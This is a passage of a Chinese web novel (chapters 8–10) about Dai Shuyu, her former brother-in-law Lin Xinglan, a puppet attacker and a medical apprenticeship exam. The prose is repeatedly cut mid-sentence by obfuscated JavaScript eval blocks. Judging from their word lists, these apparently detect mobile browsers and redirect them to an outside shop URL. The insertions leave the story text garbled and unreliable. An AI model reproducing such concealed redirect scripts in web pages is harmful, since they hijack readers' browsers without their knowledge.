“紧要关头,你——”话未说全,脚步声又近了,戴纾语面向声音的来源处望去,依然什么都看不见。 “戴纾语。” 一道熟悉的声音混杂在窸窸窣窣的脚步声中,忽而从夜色里传来。 戴纾语认得那个声音,正是昔日与她有过节的地痞阿彪。 “谁?”蔺星斓壮着胆子喊道,“只敢躲在暗处算什么本事!” 阿彪不接茬,只重复着呼唤戴纾语的名字,一声接着一声跟叫魂一样,让人听了头皮发麻。 戴纾语无端想起百草堂后院里躺着的那具中蛊之人的尸首,不由心中一凛,一股不妙的念头在心底滋长。 “别管了。”她轻轻捏了捏蔺星斓的手腕,“先离开这里。” 两人在黑夜里对视一眼,转身就要往前跑。 岂料,对方动作实在利落,正当她们转身之际,一道高大的身影猛地落在身前,拦住了二人的去路。 不出所料,果真是地痞阿彪。他身上衣衫褴褛,眼下点着两坨乌青,早没了昔日趾高气扬的神气。 “怎么办?”蔺星斓心里没底,他不会术法,亦从未习过武。眼下的情形,除了跑路,他实在想不出更好的保命方法。 “我从前将他打伤过,应该没问题。”戴纾语出奇地冷静。 然而,她还是太过乐观了。 眼前的阿彪并非昔日的地痞阿彪,两人交手不过两个回合,戴纾语便占了下风。 阿彪忽地仰天怒吼一声,遂钳住戴纾语的肩膀将她掀翻在地。 眼睁睁望着早已不似人样的阿彪伸出锋利的长指甲,径直往戴纾语剧烈起伏着的胸腔戳去。 蔺星斓来不及多想,猛地用肩膀朝阿彪撞去,直撞得他头脑发昏,眼冒金星,有如撞上了一堵坚硬的铜墙。 不过,足够了。 虽说没能够把阿彪撞飞,但蔺星斓的举动成功引起了阿彪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你闭嘴!”被人戳中心事,蔺星斓心虚极了,只得虚张声势,试图扳回一局,“我只是——跑太快,浑身发热,脸当然红了!” “是吗?”戴纾语伸出手去,指尖轻抚过他滚烫的脸颊,不由惊呼一声,“你的脸好烫啊!” 蔺星斓心底的窘迫愈演愈烈,打死他都不会承认,方才戴纾语轻佻地将手指挤进他口腔,让自己咬破她指尖的时候,身体某处竟不争气地起反应了。 “啧啧!”对方这个态度,戴纾语再迟钝,亦反应过来发生了什么。 她素来嘴上不饶人,眼下便宜小叔子被她抓到了把柄,定然会借机狠狠将人羞辱一番。 “没想到啊!”戴纾语双手抱臂,百无聊赖地绕着蔺星斓转了两圈,将他浑身上下打量了个遍。 “堂堂蔺府二公子,远近闻名的纨绔少爷,居然还挺纯情!” “行了!” 蔺星斓用手指抵住她眉心,将戴纾语往后推,遂把心一横,道:“本公子年方二十,正是血气方刚的年纪,突然被陌生女子触碰身体,不起反应岂不是废了?” 好像很有道理的样子。 戴纾语没忍住笑出声来。 “好一个血气方刚!”说罢,她双手叉腰,一本正经地说,“纠正一下,我是你嫂嫂,并非陌生女子。” 蔺星斓不甘示弱,“前嫂嫂!” 经历了一场闹剧,紧张的心情得以缓解,戴纾语忽然说:“蔺星斓,方才用手指压你舌头,其实我是故意的。” “你——”蔺星斓臊得面红耳赤,咬牙切齿道,“我就知道,你这个水性杨花的女人,居心叵测,死不悔改!” “不过是为了迷惑敌人,假意跟你亲热罢了!” 戴纾语向门房景芪打了个招呼,率先迈进蔺府大门,待蔺星斓走近了,继续道:“星斓,你可不要想歪了。毕竟,我是你——前嫂嫂。” 8. 08 翌日,戴纾语早早地起床了。收拾妥帖后,推开院门往蔺府大门口去。 她低垂着头,心理琢磨着第三轮考核会是什么。一只脚刚踏出大门,一道熟悉的声音蓦地从身后传来。 “嫂嫂,稍等一下!” 戴纾语脚步一顿,转过身朝来人望去,“蔺星斓,你不是在明镜司担任要职,今日怎么这样闲?” 蔺星斓加快步伐来到她跟前,照实说道:“今日休沐。我想同你一起去百草堂,观望观望。” “观望什么?”戴纾语蹙眉,“游手好闲的纨绔喜爱到药铺观望伤患遭罪?” “那倒不是。”蔺星斓眉梢微挑,眼神里满是幸灾乐祸的意味,“观望嫂嫂的第三轮考核,若是失败了,好在第一时间送上祝福。” “无聊!” 昨夜回到府上,对方如约未在蔺清辉跟前提及她身手了得,能够只身与傀儡阿彪大战数个回合。 不然,她在原书男主面前苦心经营的柔弱凄苦形象或将毁于一旦。 思及此,戴纾语心存感激,并未跟他计较。 “昨夜,谢谢你!”她一本正经地道谢,接着补充了一句,“若非你及时吸引了阿彪的注意力,我可能难逃一劫。” 戴纾语难得没有对他恶语相向,反而客套起来,又是夸赞又是感激,蔺星斓深感不适,甚至觉得对方心里憋着损招,就等着他往里钻。 “嫂嫂,有话直说,你这样一副态度,我心里瘆得慌。” 戴纾语一时无语,她是真心向蔺星斓表示感谢,岂料对方还防备上了。 “蔺星斓,你是不是有受虐倾向?随口夸赞一句你倒是不自在了。” 说罢,她话锋一转,接着道:“好心提醒一句,你当真应该勤加锻炼,昨夜在阿彪面前毫无威慑力,竟是未能伤及他一分一毫。可见身子骨不够硬朗,严重体虚。” 有被打击到。 “嫂嫂说的是,星斓谨遵教诲。”蔺星斓阴阳怪气地应道,随即主动提出安排马车送她到药铺去。 戴纾语摆了摆手,拒绝了,“时候尚早,蔺府距离百草堂不远,我步行过去即可,恰好可以呼吸新鲜空气,再者——” 她忽然转过脸来,意味深长地瞥了眼蔺星斓,加重语气道:“锻炼身体。” 对方话里话外皆是揶揄的意味,蔺星斓撇撇嘴,立马提高音量说:“嫂嫂昨夜跑得那样快那样急,又跟傀儡大战了数个回合,你还没锻炼够吗?” 唯恐被蔺府其余人听了去,戴纾语小心翼翼地环顾一下四周,确认没有旁人在,这才回眸瞪了他一眼,示意他小声点。 见她小心谨慎的模样,蔺星斓忍俊不禁,“兄长一早便上值去了,嫂嫂不必担心被他听见。” “走了。”戴纾语丢下一句话,遂加快脚步往百草堂所在的方向走去。 蔺星斓几大步追上她的步伐,自顾自问道:“看不出来,嫂嫂竟是练过的,跟谁学的?” 戴纾语头也不回,随口敷衍道:“只身在外讨生活,没有点防身的本事,岂不是早就被不怀好意之人吃干抹净了!” 二人来到百草堂门前,却见药铺大门紧闭,不见司徒潋的身影,就连学徒阿福也不知所踪。 戴纾语颇感意外,抬脚进了隔壁的首饰铺子,向掌柜的打听司徒潋的下落。 “昨儿个深夜,一群装束古怪的年轻人来寻司徒夫人,约摸一刻钟后,一行人离开了药铺,司徒夫人至今未归。” 首饰铺掌柜是个和蔼可亲的中年妇人,她上下打量着戴纾语,问:“姑娘,你找她有何事?可否需要我帮你传话?” 戴纾语心事重重,闻言轻轻摇了摇头。 司徒潋下落不明,耽误第三轮考核事小,倘若司徒夫人身陷囹圄却无人知晓可就麻烦了。 她拉住首饰铺掌柜打听道:“这位姐姐,你可知药铺的学徒阿福住在何处?” 对方双手一拍,笑吟吟地说:“知道,就住在我家隔壁。”说着,同戴纾语说了个地名,并详细交代从哪里抄近路比较顺。 戴纾语向她道了谢,转身出了首饰铺。 “怎么样?”以防药铺有人回来,蔺星斓一直守在门口,此刻见戴纾语朝他走来,遂立马迎了上去。 “说是昨夜被人带走了,具体的不知情。我问到了阿福的住址,打算去看看。你——” 不容她说完,蔺星斓接茬道:“送佛送到西,我陪你一道去。” 大约一刻钟后,两人来到幸福里百花巷。戴纾语抬手叩门,院门应声从里面打开。 “戴姑娘,你怎么来了?我正要去找你呢!”阿福欣喜地望着她。 戴纾语并未耽搁,径直向他表明了来意。 “掌柜的昨夜传信于我,道是有要紧事出一趟远门,今日药铺不营业。让我通知戴姑娘,第三轮考核往后推延,具体日期另行通知。” “我不知戴姑娘的住址,无法用通讯符联络你,只能等今早出门去药铺门口堵人,岂料你自己找来了!” 戴纾语无端想起在百草堂后院瞥见的疑似阿彪的身影,以及那具中蛊之人的尸首,再加上昨夜她与蔺星斓二人的遭遇,愈发怀疑此事与司徒潋关系匪浅。 “司徒夫人告诉你她往哪里去了吗?” 阿福摇头,“没有。只说不必担心,她办完事便回来。” 听了这话,戴纾语推测司徒潋并非被人扣押,而是自行跟人走了。那群深夜来访的客人可能与她相熟,抑或是同道中人。 见她愁眉不展,阿福宽慰道:“戴姑娘,你不必担心。掌柜的身手了得,只要她不愿意,没人能够强行将她带走。” 闻言,戴纾语稍微放下心来,决定再等一天,届时若没有司徒潋的消息,再另想办法。 “谢谢你,阿福。”戴纾语微微笑着向他道谢,“若是有司徒夫人的消息,劳烦你传信到蔺府即可。” 阿福偷偷瞄了眼跟在她身后的蔺星斓,心领神会,“好的。戴姑娘慢走!” 两人并排着往回走,蔺星斓突然用胳膊轻轻碰了下她肩膀,问道:“你认为司徒夫人是自愿跟人离开的?” “应该是。”戴纾语若有所思,“首饰铺掌柜的昨夜睡得晚,并未听见争吵声,抑或打斗的声响。” “嗯,有道理。”蔺星斓缓缓点头,表示赞同,“接下来,你有什么打算?坐以待毙吗?” “当然不是。”戴纾语侧目望着他,神秘兮兮地笑了起来,“蔺星斓,你在明镜司担任要职,带我去明镜司探探情况,如何?” “你说什么?”蔺星斓微微睁大双眼,只觉匪夷所思,“明镜司乃朝廷重要机构,岂是你一介平民百姓说去打探就能去的!” “所以,”戴纾语一脸认真,“我才求你这位要员带我去呀!” 牛皮吹大发了,蔺星斓登时臊得耳根通红。 只得硬着头皮问道:“你去明镜司打探什么?” “我没见过异类,好奇得紧。”戴纾语半真半假地说。 蔺星斓一时语塞,好半晌才憋出一句话来:“异类被关在北镇抚司的诏狱里,寻常人等无权探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897363|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望,只有镇抚使可自如通行。” “你在明镜司担任要职,这点忙都帮不上?” “我没见过异类,也不好奇。”蔺星斓把心一横,如实道,“我不过是镇抚使手下一名小小的缇骑,哪有能耐带你擅闯北镇抚司的诏狱。” 事关重大,戴纾语并未借机嘲讽他,不由追问道:“异类除了傀儡一类的非人,还有什么?” “妖魔鬼怪?” 戴纾语:“这个我知道,还有别的吗?” 蔺星斓直觉她的问题并非空穴来风,而且,对方似乎知道点什么,“比如说?” 意识到他在套话,戴纾语耸耸肩,“我不知道才问你,你倒是问起我来了!” 说话间,两人已经走出巷口,来到主街上。戴纾语抬眸四下打量,只觉周遭环境颇有些眼熟,正是昨夜两人逃命之际,中途休息的地方。 “星斓?”一道略显严厉的声音从侧后方传来,两人齐齐回头,只见蔺清辉领着一众下属往这边走来。 “你俩——”他的目光扫过戴纾语,落在两人紧挨着的两只手上,“众目睽睽之下,在大街上拉拉扯扯,成何体统?” 戴纾语尴尬地朝他笑了笑,心道水性杨花人设深入人心啊!屡次三番让原书男主撞见她在大街上跟他亲弟弟勾勾搭搭。 蔺星斓连忙迎上前去,“兄长,你们到此地探查昨晚那个傀儡吗?” “嗯。”蔺清辉简单应了声,欲言又止。 蔺星斓的视线迅速扫了一圈跟在蔺清辉身后的明镜司同僚身上,皆是蔺清辉的老部下,知道戴纾语的身份。 他突然恶从胆边生,提高音量说:“嫂——前嫂嫂非要我把新得玉镯赠与她,否则便要在大街上对我行不轨。” 戴纾语未曾料到有此一劫,闻言瞠目结舌,此人说瞎话的功夫倒是练得炉火纯青,她震惊地望向蔺清辉所在的方向,正对上对方一言难尽的视线,心里不由咯噔一下。 得,努力白费! 跟在蔺清辉身后的一众下属面面相觑,禁不住拿余光瞟向戴纾语所在的方向。 “清辉,”戴纾语三步并作两步来到蔺清辉跟前,试图解释,“不是他说的那样,你别听星斓瞎说。我没有那个意思,我——” 话未说全,就被蔺清辉无情地打断了,“戴姑娘,我同你说过,你我早已和离,不必跟我解释。” 说罢,侧眸盯着蔺星斓,语重心长道:“你长大了,不是小孩子,时刻谨记自己的身份,莫要坏了蔺府的名声。” 奸计得逞,蔺星斓心里乐开了花,面上却不显,只低低应了声“是”,表示知晓了。 望着蔺清辉匆匆离去的背影出神片刻,戴纾语渐渐收拢心神,恶狠狠地瞪着蔺星斓,“你胆子挺肥啊!” “嫂嫂,你听我解释!”蔺星斓自知不妙,拔腿就跑。 然而,他一向缺乏锻炼,岂是练了十年跆拳道的戴纾语的对手,三两下就被她拽了回去。 “想死你就明说,不用拐弯抹角。”戴纾语一手钳住他胳膊,就要将人往地上掀。 “你听我解释!”蔺星斓害怕极了,搜肠刮肚往回找补,“我只是好奇,对!我好奇!” 戴纾语动作微顿,“好奇什么?” “好奇兄长是否对你余情未了!” “啪”的一道沉闷声音响起,蔺星斓应声栽倒在地,险些摔了个狗吃屎。 “骗谁呢!”戴纾语蹲在他身旁,一只手用力抵住他后背,不让人动弹,“欺负到我头上来了,我看你是皮痒,欠收拾。” 9. 09 “嫂嫂,我知道错了!”好汉不吃眼前亏,蔺星斓第一时间承认错误,“再也不敢了,你就饶了我吧!” 戴纾语尚有要紧事要办,无意浪费时间跟他纠缠,遂警告几句,说:“蔺星斓,记住你今天说的话!往后胆敢再犯,就不只是将你掀翻在地这样简单。” 说罢,她松开手站起身来,转身继续往前走。 “我饿了,去用早点。” 蔺星斓紧跟着从地上爬起来,顺手拍了拍满身的尘土,几大步追了上去,愤愤地说:“刚才揍我,累着您了?” 听他语气里满是不悦,戴纾语停下步伐,转过脸来看他,“不服气?” 当然不服气! 但,打也打不过,只能认栽了。 “没有。”蔺星斓移开视线,“被你折腾饿了,我同你一道去吃早点。” 戴纾语嗤笑一声,“体虚。”说着,率先迈开步子往方阿婆的早点摊子走去。 巳时刚过,买早点的那条巷子人来人往,戴纾语在方阿婆卖云吞的摊子前停下步伐,照例要了玉米鲜肉云吞。 “阿婆,两碗玉米鲜肉云吞,小份,加辣加葱。” 蔺星斓瞥了眼沾着油渍的桌椅,站在她身旁没动,“你怎么知道我喜爱吃辣?” 戴纾语从方阿婆手里接过一碗热气腾腾的云吞,边走边说:“别想太多,我只是按照我的喜好多点了一份而已。” 蔺星斓撇撇嘴,从方阿婆手里接过另一份,“谢谢阿婆!”他回头找了一圈,只见戴纾语坐在距离道路边缘的位置上,连忙跟了上去。 “纨绔少爷吃饭都站着吃吗?”戴纾语夹了一个皮薄肉鲜的云吞放进嘴里,细嚼慢咽后问他。 “你看不见吗?”蔺星斓指了指油腻腻的凳子,压低声音说,“这桌椅得有些年头没擦过了吧!” “我不瞎,当然看得见!”戴纾语将他上下打量着,用筷子的顶端比划了一下他前襟的位置,“你以为你身上的衣裳比这桌椅干净?” 蔺星斓一时无语,大庭广众之下被人搡到地上动弹不得便罢了,还要被罪魁祸首拿出来嘲讽,简直没天理。 不过,经她这么一提醒,蔺星斓也就想通了,遂破罐子破摔,径直坐在了浸满油渍的小几上。 “怎么有葱?”蔺星斓夹了一筷子云吞,秀气的眉头紧紧皱起,“我不吃葱,让阿婆帮我重新煮一碗。” 闻言,戴纾语用力把筷子搁在桌子上,“吃!不许浪费。” “你没问我吃不吃葱,就给我加葱!”蔺星斓满脸不悦,禁不住抱怨起来。 戴纾语拿起筷子,继续吃云吞,“你不是挺高兴的吗?我知道你喜爱食辣。” “你——”蔺星斓吃瘪,只得把葱末一粒一粒从碗里挑出来,找了一圈,不知道扔哪里好。 视线落在戴纾语吃得只剩下半碗汤的碗里,他不由起了报复的心理,顺手将葱末丢进了戴纾语面前的汤碗。 “你不是喜欢吃葱吗?”他心虚地说,“我的都给你,统统都给你!” “我谢谢您呢!”戴纾语自小喜爱食葱姜蒜,并未阻止他,任凭蔺星斓将浮在汤里的葱末尽数夹进她碗里,这才端起碗来将剩下的汤喝了个精光。 蔺星斓看得瞠目结舌,不觉脱口而出一句:“你饿死鬼投胎吗?” 说罢,自觉语气不善,有招致杀身之祸的风险,立马补充道:“吃太快,对胃不好。” 戴纾语不置可否,待蔺星斓吃完了,遂满含期待地望着他,柔声问道:“好吃吗?” 蔺星斓颔首,“甚是美味!”确实美味,厨艺较蔺府的厨子好上十倍。 戴纾语满意地点了点头,下巴微抬,指了指方阿婆所在的方向,“去付钱。” 难怪突然说话都变温柔了,原来是没钱吃饭,蔺星斓小声嘀咕,旋即站起身来老老实实去付钱。 戴纾语收拾好碗筷,送到方阿婆的摊子前,顺口问道:“阿婆,最近可有见到阿彪的那群同伙?” 方阿婆先是一愣,随即摇了摇头,轻声道:“没有。自打烧了你的院子,那群人就跟人间蒸发了一样,不见了踪影。” 戴纾语搁下碗筷,凑到她耳畔低语道:“阿婆,我前两天碰见了阿彪与他的一个同伙,一个死了,一个变成了傀儡。” 方阿婆神情有一瞬间空白,随后拉着她上下打量着,“有没有为难你?” “我没事。”戴纾语宽慰道,遂握住她的手轻轻拍了拍,“我就是来看看你,提醒你一声。” “阿婆,我去昔日住的院子里瞧瞧,先走啦。”说罢,回过头望向蔺星斓,“愣着做什么?走了!” “你跟阿婆窃窃私语什么呢?”蔺星斓好奇地回头打量着简易的云吞铺子。 戴纾语无意隐瞒,直言道:“提醒她地痞阿彪变成了傀儡阿彪。” “我就知道,你不是专程来吃早点。”蔺星斓眉梢微挑,随即压低声音向她打听,“方阿婆的腿怎么瘸的?” “据说是年轻的时候被歹人打伤了,一直没治好,落下了病根。” 蔺星斓下意识蹙眉,“他前夫打的吗?” 戴纾语停下步伐,不解地望着他,“你以为每个女人都跟我一样,有一位前夫?” “那倒不是。”蔺星斓摸了摸鼻尖,皮笑肉不笑,“你前夫也没打过你呀!你都给人家戴了多少顶绿帽子了。” “蔺星斓,皮又痒了是不是?” “不是,我就是好奇嘛。” 戴纾语难得起了谈兴,接着说:“方阿婆从未成亲,没有前夫。她的腿——据说是被官府的人打伤,具体的不知情。久远的伤心事,谁没事揭人伤疤呢!” “没想到你还挺有良心。” 戴纾语:“在你眼里我就是个无恶不作的歹人?” “揍我的时候,简直是十恶不赦。” 戴纾语禁不住笑出声来,“那也是你活该。”说着,她拐过巷口,径直朝昔日住的院子走去。 “话说,你怎么知道这条巷子里有早点摊子?” 戴纾语抬手一指不远处破败的庭院,“我从前住在那里。” 两人绕着废墟一般的院落逛了几圈,戴纾语忽地觉得有什么硬物硌着脚底,遂弯下腰捡了起来—— 是她当时丢掉的那只鞋子,以及,一枚官府的腰牌,上面刻有的字迹模糊不清,只能摸出深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897364|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅不一的纹路,应是有些年头了。 “你发现什么了?”见她怔在原地出神,蔺星斓立马凑上前问道。 戴纾语将只剩下一个鞋底的鞋子递到他面前,“逃命时跑丢的鞋子。” 蔺星斓瞥了眼焦黑的鞋底,略微嫌弃地皱眉,“一只破鞋,你捡来做什么?” 戴纾语恶狠狠地瞪了他一眼,不说话。 蔺星斓意识到说错话了,连忙解释道:“嫂嫂,我不是那个意思,我是说这只鞋子——破了,你留着它做什么?” “拿回去做纪念,时刻警醒自己,人心险恶,万事小心。” 趁他不注意,戴纾语不露声色地将捡来的腰牌揣进怀里,转身就往院子外走。 一只脚刚踏出院门,她突然顿住步伐,转过身来望着蔺星斓,“你在明镜司任职,可有专用的腰牌?” “当然有了!”蔺星斓语气里满是得意,“毕竟是正经职位。” “拿来我看看!”戴纾语向他伸出一只手去。 “你拿去做什么?莫不是打算偷偷混进明镜司?”蔺星斓满腹狐疑,直觉对方图谋不轨,“我告诉你,此事行不通,腰牌上刻有姓名,性别,你一张口,就全露馅了。” 见他误会了,戴纾语哭笑不得,“蔺星斓,你脑子里戏挺多。谁说我要擅闯明镜司了?我还想活命呢!” “那你拿腰牌做什么?” “我就看看!”戴纾语随意搪塞道,“我从未见过官府的腰牌,好奇得紧!你拿给我看一眼,长长见识。” 蔺星斓将信将疑,遂将挂在腰间的腰牌解下来递到她手里,却迟迟不肯松手,不放心地说:“说好了,你不能抢走我的腰牌,我刚任职不久,丢了腰牌等同于丢了官职。” “不抢。”戴纾语稍一用力,从他手中将腰牌抽走,仔细打量起来。 跟她在火灾现场捡到的那枚形状不同,上面刻有的纹路也不同,应当不是同一部门。 对方办案时刻意隐瞒了身份,戴纾语打听了一圈都未获得有用信息。 思及此,她突然想起了什么,随即如约将腰牌还给蔺星斓,状似不经意地问起:“你知道上次来办理阿彪纵火案的是哪个官府机构吗?” 闻得此言,蔺星斓再迟钝也反应过来她另有目的,遂慢条斯理地将腰牌挂回腰间,如实道:“不知道。不过——” 戴纾语一听有戏,立马追问道:“不过什么?” “你打听这个做什么?”蔺星斓蓦地朝她靠近几步距离,“你有什么不可告人的目的?” 戴纾语伸手抵住他胸口,不让他靠近,半遮半掩地说:“我总得知道是谁帮忙抓走了嫌犯吧!” “兄长知道,我可以帮你问问。”蔺星斓站直身形,率先迈出颓败的院子。 戴纾语:“你有什么条件?” “答应我一件事。” “什么事?”戴纾语顿时来了兴致。 蔺星斓一本正经地说:“不许在大庭广众之下让我难堪,也不准动手打人。” 戴纾语加快步伐走到他面前,拦住了他的去路,好心提醒道:“蔺星斓,你说的是两件事。两者取其一,我答应你便是。” 10. 10 思来想去,蔺星斓觉得保命要紧,丢脸什么的多丢几次便习惯了、麻木了,遂毅然做出选择:“请嫂嫂手下留情,往后莫要动手打我了。” “成交。”戴纾语无意因此事跟他浪费时间,当即就应下了。 晌午时候,两人回到蔺府,门房景芪一见到戴纾语,立马从怀里摸出一封信函递到她面前。 “戴姑娘,有人传信于你。” 戴纾语伸手接过,顺手拆开来看,是阿福传来的信函。道是司徒夫人已安然归来,明日巳时继续第三轮考核。 “你紧张吗?明日的考核。”蔺星斓幸灾乐祸地望着她。 戴纾语慢条斯理地将信函收起来,“紧张什么?考核内容都是我熟悉的领域。” 蔺星斓“啧啧”两声,后退几步与她拉开一段距离,将她上下打量着,“你以往就这般——盲目自信吗?” “我一向如此自信,但不盲目。”戴纾语纠正道,“我认真学习过医学类的知识。不像某些人,成日里游手好闲,一无是处,就连眼下的官职,亦是家里人托关系买来的。你有什么资格说我盲目自信?” 被人戳中心事,蔺星斓耳根一热,脸颊腾地红了,“分文未花,只需兄长吩咐一二即可。” “有什么区别吗?”戴纾语绕开他率先迈进大门,头也不回地往前走,“皆是依靠别人,并非你自身努力得来的。” “区别大着了!”蔺星斓紧跟着她的步伐往里走,“家里有钱有权,我不需要努力!” 戴纾语懒得搭理他,在院门口分开时,兀自强调了一句:“记得帮我打听负责办理阿彪纵火案的官员是谁,若是忘记了,我们之间的约定作废,下次你再惹我,我定不会心软。” 蔺星斓撇撇嘴,小声嘀咕:“你从来也没对我心软过啊!” “你说什么?”戴纾语倒退回来盯着他,“背后骂我呢!” “没有!”蔺星斓黑沉着脸,连忙解释,“我都当面骂,不干那些偷偷摸摸的事。” “明晚之前给我答复。” 戴纾语一只手搭在他肩上,稍一用力,蔺星斓登时觉得肩胛骨都要碎掉了,连连点头应下。 翌日,戴纾语早早地来到百草堂,只见阿福推开药铺大门,她忙迎上去帮忙。 “戴姑娘,掌柜的让你在前厅里稍候片刻,她出去办事了,巳时准时回来。” 戴纾语亦没闲着,打来一盆清水,帮着阿福擦拭桌椅、柜子,忙完药铺的清扫工作,恰好巳时。 司徒潋只身从门口迈步走进来。 她是个爽快人,并未过多寒暄,径直吩咐戴纾语到后院准备考核。 果然如戴纾语所料,第三轮考核与缝合伤口有关。 后院的简易木床上躺着数名重伤未愈的病患,其中几名刚清理干净体内的蛊虫,需要进行缝合手术。 确实是她熟悉的领域,戴纾语稍微放下心来,遂谨遵司徒潋交代的注意事项,开始为伤患缝合腹部与胸口的豁口。 时值初夏,炽热的阳光顺着敞开的窗户铺洒进屋。 戴纾语眯了眯眼,继续集中精力缝合参差不齐的伤口,不由热出了一身薄汗。 司徒潋始终站在她身后观摩,对她的缝合技术深感满意。 正当戴纾语为最后一名伤患实施缝合手术时,余光瞥见伤口内壁贴着一片干枯的花瓣。 只有指甲盖大小,若非她心细,定会当作病患的血肉忽略掉。 “怎么了?”见她停住不动,司徒潋往前两步来到她身旁,“累了?” 一早上缝合了三名伤患,说不累是假的。戴纾语却缓缓摇头,用手中的镊子将那枚细小的花瓣刮下来,随即递到司徒潋跟前。 “司徒夫人,伤口里面留有干枯的花瓣。” 司徒潋略微皱眉,当即沉了脸色,叫来阿福过问为这名伤患清理蛊虫的人是谁,叫人主动来领罚。 阿福战战兢兢翻看操刀记录去了。 “炼狱花。”司徒潋伸手接过那枚干枯的炼狱花,指尖微动,花瓣自行燃烧起来,转瞬间化作一缕黑烟,消散了。 戴纾语听说过这类植物,生长于尸火之地,可散发出幽冥之火,用于灼烧灵体与阴魂。(1) “司徒夫人,”斟酌半晌,戴纾语终于将心底的疑虑问出口来,“有人在用将死之人炼制傀儡,是吗?” 司徒潋眉头皱得更深了,视线落在她脸上,“为何有此一问?” 戴纾语并未遮遮掩掩,详细将自己的疑惑说给对方听,末了补充道:“我第一次来百草堂的时候,在后院碰到一个熟人,后来却不见了踪影。一开始只当自己眼花了,但没过几天,我发现他变成傀儡了。” 司徒潋无意将她牵扯其中,遂板着脸说:“我素来只治病救人,不打听伤患的私事,并未听说过什么傀儡。” 说罢,她不忘提醒一句:“你做好自己分内之事即可,莫要瞎打听。” 戴纾语意识到此事并不简单,不由追根究底起来,“司徒夫人,那名新炼制的傀儡认得我,那晚明显是冲我而来。倘若当真背后有人指使,我应该早已成了他们追踪的目标。” 闻得此言,司徒潋神色变得凝重起来,叮嘱道:“此事莫要声张,你——往后行事需谨慎为妙。” 说着,她从怀里摸出一张符纂,顺手搁在条案上,“此乃防御符,可保你不被异类所伤。切记!此符不可离身,否则,神仙来了亦救不了你。” “那——”戴纾语还想再追问几句,刚一开口就被对方制止了,“别问!别打听!” 司徒潋随即指了指她面前处于昏厥状态的伤患,“缝合结束后,第三轮考核顺利通过,你可以留下来做学徒。” 幸福来得太突然,戴纾语一时未能够反应过来,握着镊子的双手悬于半空,只顾盯着司徒潋出神。 “怎么,改变主意了?” “没有!”戴纾语略显激动,“司徒夫人,你当真愿意收我为徒吗?” “当然是真的。” “谢谢司徒夫人!”戴纾语朝她深深鞠了一躬。 司徒潋屈起一根手指,轻点了一下她眉心,“唤我作什么?” 戴纾语还算机灵,一点就通,立马再鞠一躬,“谢谢师父!” 司徒潋素来喜怒不形于色,此刻脸上难得露出点笑意,“何时能来店里帮忙?” “立刻!马上!” 司徒潋颔首,旋即站起身来往外走,边走边说:“完成手上的任务,可以歇息片刻。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897365|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约一刻钟后,戴纾语完成了最后一名伤患的缝合手术,她缓缓站起身来,望着自己的杰作,满意地伸了个懒腰。 “戴姑娘,上回跟你一起的那位蔺公子在药铺门口等你呢!”阿福突然探进头来,朝她挤眉弄眼。 知晓对方误会了,戴纾语倒也懒得解释,这种事,只会越描越黑。 清洗干净手上的血污,她小心翼翼地将司徒潋留下的防御符揣进怀里,旋即掀开帘子往药铺前厅去。 一只脚刚踏出药铺大门,便瞧见蔺清辉领着一众下属自门前经过。 “清辉,”她飞快追了上去,拦住了蔺清辉的去路,“你在忙公务吗?” “嗯。”蔺清辉颇为敷衍地应了一声,面上是一副碰见了瘟神的不悦神情。 戴纾语早已习惯对方冷淡疏离的态度,但任务在身,她不得不按捺住内心的不适,越挫越勇。 “我在这家药铺做学徒。”她回头指了指百草堂的门楣,接着道,“你放心,我不会赖在蔺府不走,待我攒够钱,立马搬出去,不会留在你跟前碍眼。” 蔺清辉对她的话置若罔闻,遂错开身形径直走远了。 望着对方渐渐远去的背影,戴纾语心中哀嚎,任重道远,她仍需努力。 “嫂嫂,”正当她耷拉着肩膀往回走之际,肩膀被人不轻不重地拍了一下,“又热脸贴冷屁股了?” 这话戴纾语可不爱听了,她侧目瞪了一眼蔺星斓,恶狠狠地说:“不会说话可以闭嘴,没人当你是哑巴。” “依我说,你这是何必呢?”蔺星斓耸耸肩,不解地望着她,“兄长早已心有所属,你这般纠缠不休,有伤风化。” “你不懂!” 戴纾语懒得就此事跟他废话,转而问道:“交代你的事办妥了?” 蔺星斓立马做出一副为难的神情来,“兄长不让我插手此事,昨夜把我训斥了一顿。” 